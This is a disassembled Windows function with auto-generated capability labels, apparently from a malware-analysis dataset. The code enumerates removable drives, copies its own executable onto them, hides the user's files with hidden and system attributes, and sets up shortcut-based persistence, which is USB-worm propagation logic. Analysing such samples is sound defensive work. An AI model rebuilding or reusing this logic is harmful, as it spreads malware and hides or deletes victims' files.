Function at 0x4046f0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf3c
push esi
push edi
mov ecx, 6
mov esi, 0x401768
lea edi, [ebp - 0x15c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xd
mov esi, 0x401784
lea edi, [ebp - 0x140]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x104
push 0
lea eax, [ebp - 0x268]
push eax
call fcn.00405010
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.00405010
add esp, 0xc
lea edx, [ebp - 0x268]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x268]
push eax
push 0x4017bc
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x26c], 0
jmp 0x40479a
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x26c], eax
jae 0x404dd1
mov ecx, dword [ebp - 0x26c]
mov dl, byte [ebp + ecx - 0x15c]
mov byte [ebp - 0x274], dl
mov byte [ebp - 0x273], 0x3a
mov byte [ebp - 0x272], 0
mov eax, dword [ebp - 0x26c]
mov cl, byte [ebp + eax - 0x15c]
mov byte [ebp - 0x270], cl
mov byte [ebp - 0x26f], 0x3a
mov byte [ebp - 0x26e], 0x5c
mov byte [ebp - 0x26d], 0
lea edx, [ebp - 0x274]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jne 0x404dcc
push 5
push 0
lea eax, [ebp - 0x7f0]
push eax
call fcn.00405010
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x7e8]
push ecx
call fcn.00405010
add esp, 0xc
lea edx, [ebp - 0x274]
push edx
push 0x4017c8
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
lea ecx, [ebp - 0x4c8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x4c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xffffffff
je 0x4048ca
mov ecx, dword [ebp - 0x7f4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x4c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4048cf
jmp 0x40478b
push 0x104
push 0
lea eax, [ebp - 0x5d0]
push eax
call fcn.00405010
add esp, 0xc
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x5d4]
push ecx
push 0
push 0
lea edx, [ebp - 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 0x5d4]
push eax
call fcn.00404220
add esp, 4
push 7
lea ecx, [ebp - 0x5d0]
push ecx
call fcn.00404450
add esp, 8
push 0x4017d4
lea edx, [ebp - 0x5d0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x274]
push eax
push 0x4017dc
lea ecx, [ebp - 0x7f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x3c0]
push edx
lea eax, [ebp - 0x7f0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0xffffffff
je 0x404d2d
lea ecx, [ebp - 0x5d0]
push ecx
lea edx, [ebp - 0x394]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x404d11
mov byte [ebp - 0x902], 0
mov byte [ebp - 0x901], 0
push 0x104
push 0
lea eax, [ebp - 0xd20]
push eax
call fcn.00405010
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0xc18]
push ecx
call fcn.00405010
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0xb10]
push edx
call fcn.00405010
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x900]
push eax
call fcn.00405010
add esp, 0xc
lea ecx, [ebp - 0x394]
push ecx
lea edx, [ebp - 0x900]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0xd24], 0
jmp 0x404a2b
mov eax, dword [ebp - 0xd24]
add eax, 1
mov dword [ebp - 0xd24], eax
lea ecx, [ebp - 0x394]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0xd24], eax
jge 0x404a7e
mov edx, dword [ebp - 0xd24]
movsx eax, byte [ebp + edx - 0x900]
test eax, eax
jne 0x404a54
jmp 0x404a7e
mov ecx, dword [ebp - 0xd24]
movsx edx, byte [ebp + ecx - 0x900]
cmp edx, 0x20
jne 0x404a7c
mov eax, dword [ebp - 0xd24]
mov byte [ebp + eax - 0x900], 0x5f
mov byte [ebp - 0x901], 1
jmp 0x404a1c
movsx ecx, byte [ebp - 0x901]
test ecx, ecx
je 0x404b13
push 0x104
push 0
lea edx, [ebp - 0xe30]
push edx
call fcn.00405010
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0xf38]
push eax
call fcn.00405010
add esp, 0xc
lea ecx, [ebp - 0x394]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x4017e4
lea eax, [ebp - 0xe30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x900]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x4017ec
lea eax, [ebp - 0xf38]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0xf38]
push ecx
lea edx, [ebp - 0xe30]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [ebp - 0x3c0]
and eax, 0x10
je 0x404b25
mov byte [ebp - 0x902], 1
lea ecx, [ebp - 0x900]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x4017f4
lea eax, [ebp - 0xd20]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x900]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x401800
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x401808
lea ecx, [ebp - 0x900]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x404baa
push 0x80
lea edx, [ebp - 0xc18]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x404d11
push 0x401810
lea ecx, [ebp - 0x900]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404c18
push 0x401818
lea edx, [ebp - 0x900]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404c18
push 0x401820
lea eax, [ebp - 0x900]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404c18
push 0x401828
lea ecx, [ebp - 0x900]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404c18
push 0x401830
lea edx, [ebp - 0x900]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x404c97
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0xf3c], eax
mov ecx, dword [ebp - 0xf3c]
and ecx, 1
jne 0x404c4c
mov edx, dword [ebp - 0xf3c]
and edx, 2
jne 0x404c4c
mov eax, dword [ebp - 0xf3c]
and eax, 4
je 0x404c95
push 0x80
lea ecx, [ebp - 0xc18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xc18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0xc18]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0xf3c]
push edx
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x404d11
lea ecx, [ebp - 0xd20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0xb10]
push edx
lea eax, [ebp - 0xd20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0xd20]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dl, byte [ebp - 0x902]
push edx
lea eax, [ebp - 0xb10]
push eax
lea ecx, [ebp - 0x5d0]
push ecx
lea edx, [ebp - 0x394]
push edx
call fcn.004044c0
add esp, 0x10
test eax, eax
jne 0x404d11
push 6
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 5
lea ecx, [ebp - 0xd20]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x3c0]
push edx
mov eax, dword [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40497a
lea ecx, [ebp - 0x5d0]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x401838
lea eax, [ebp - 0x7e8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x7e8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x7e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x7e8]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea edx, [ebp - 0x7e8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 6
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x7e8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x412c3c]
mov dword [ecx*4 + 0x412838], eax
mov edx, dword [0x412c3c]
add edx, 1
mov dword [0x412c3c], edx
jmp 0x40478b
pop edi
pop esi
mov esp, ebp
pop ebp
ret